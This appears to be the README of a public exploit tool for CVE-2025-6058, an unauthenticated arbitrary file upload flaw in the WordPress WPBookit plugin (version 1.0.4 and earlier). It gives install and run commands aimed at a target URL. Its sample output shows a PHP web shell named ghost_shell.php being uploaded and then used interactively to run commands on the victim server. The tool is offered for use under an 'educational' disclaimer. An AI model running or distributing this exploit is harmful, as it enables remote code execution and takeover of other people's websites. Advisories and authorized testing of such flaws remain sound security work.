0xgh057r3c0n/cve-2025-6058WordPress WPBookit ≤ 1.0.4 Unauthenticated File Upload Exploit
Unauthenticated Arbitrary File Upload Exploit targeting WordPress WPBookit Plugin (≤ 1.0.4)
Exploit allows remote shell upload and full command execution.
Author: 0xgh057r3c0n
CVE-2025-6058 is a critical vulnerability affecting the WPBookit plugin on WordPress CMS. An unauthenticated attacker can abuse a vulnerable AJAX endpoint to upload arbitrary PHP files, enabling Remote Code Execution (RCE).
README.txtghost_shell.php)python3 --version
pip install requests
git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com
python3 CVE-2025-6058.py -u https://victim.com
[>] Checking plugin version...
[+] Found plugin version: 1.0.4
[!] Target version is vulnerable.
[>] Uploading shell...
[+] Upload successful.
[+] Shell URL: https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
[!] Interactive GhostShell Started — type 'exit' to quit.
┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data
ghost_shell.php/wp-content/uploads/YYYY/MM/ghost_shell.phphttps://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
This exploit is developed for educational purposes and authorized penetration testing only. Unauthorized use against systems without explicit consent is illegal.
Released under MIT License
Made for WordPress security auditing 🛡️ by 0xgh057r3c0n